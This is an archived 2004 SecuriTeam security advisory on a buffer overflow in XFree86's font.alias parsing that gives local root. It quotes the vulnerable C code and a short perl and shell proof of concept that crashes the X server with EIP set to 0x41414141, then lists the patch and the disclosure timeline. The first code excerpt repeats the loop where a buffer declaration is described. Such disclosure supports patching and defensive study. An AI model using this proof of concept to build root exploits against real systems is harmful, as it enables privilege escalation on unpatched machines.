

# [UNIX] XFree86 Font Information File Buffer Overflow

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0040.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 02/16/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 16 Feb 2004 11:56:47 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

XFree86 Font Information File Buffer Overflow

---

## SUMMARY

About <http://xfree86.org/> XFree86:

"In short, XFree86 is an open source X11-based desktop infrastructure.

XFree86, provides a client/server interface between display hardware (the mouse, keyboard, and video displays) and the desktop environment while also providing both the windowing infrastructure and a standardized application interface (API). XFree86 is platform independent, network-transparent and extensible."

Exploitation of a buffer overflow in The XFree86 Project Inc.'s XFree86 X Window System allows local attackers to gain root privileges.

## DETAILS

Vulnerable Systems:

\* XFree86 versions 4.1.0 to 4.3.0 (might effect prior versions as well)

CVE Information:

<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0083>

CAN-2004-0083

The problem specifically exists in the parsing of the 'font.alias' file. The X server (running as root) fails to check the length of user provided input. A malicious user may craft a malformed 'font.alias' file causing a buffer overflow upon parsing, eventually leading to the execution of arbitrary code..

Vulnerable Code:

-- -- From XFree86-4.2.1/xc/lib/font/fontfile/dirfile.c:

```
while (status == Successful) {
    token = lexAlias(file, &lexToken);
```

The above code sets up the buffer that will be exploited directly in front of the frame pointer and return address.

```
while (status == Successful) {
    token = lexAlias(file, &lexToken);
```

lexAlias() reads an arbitrary length token from file, and returns a pointer to it in &lexToken, without performing any bounds checking. It then returns NAME when it reaches whitespace.

```
switch (token) {
case NAME:
    strcpy(alias, lexToken);
```

If lexToken is longer than MAXFONTNAMELEN (1024 chars) an overflow occurs.

PoC:

To reproduce the overflow on the command line:

```
# cat > fonts.dir << EOF
1
word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
EOF
# perl -e 'print "0" x 1024 . "A" x 96 . "\n"' > fonts.alias
# X :0 -fp $PWD
```

{Some output removed}

Caught signal 11.

Server aborting...

eip: 41414141 eflags: 00003282

{Some output removed}

## Securiteam: [UNIX] XFree86 Font Information File Buffer Overflow

Code: Segmentation fault (core dumped)

### Impact:

Successful exploitation requires that an attacker be able to execute commands in the X11 subsystem. This can be done either by having console access to the target or through a remote exploit against any X client program such as a web-browser, mail-reader or game. Successful exploitation yields root access.

### Patch Availability:

The patch for the problem is at

<<ftp://ftp.xfree86.org/pub/XFree86/4.3.0/fixes/fontfile.diff>>

<ftp://ftp.xfree86.org/pub/XFree86/4.3.0/fixes/fontfile.diff> and it is applicable to all affected XFree86 versions.

### Disclosure Timeline:

January 9, 2004 Exploit acquired by iDEFENSE

February 3, 2004 Vendor notified

February 3, 2004 Response received from David Dawes at XFree86.org

February 4, 2004 iDEFENSE clients notified

February 10, 2004 Public disclosure

### ADDITIONAL INFORMATION

The information has been provided by

<<mailto:idlabs-advisories@idefense.com>> Greg MacManus.

The original article can be found at:

<<http://www.idefense.com/application/poi/display?id=72>>

<http://www.idefense.com/application/poi/display?id=72>.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.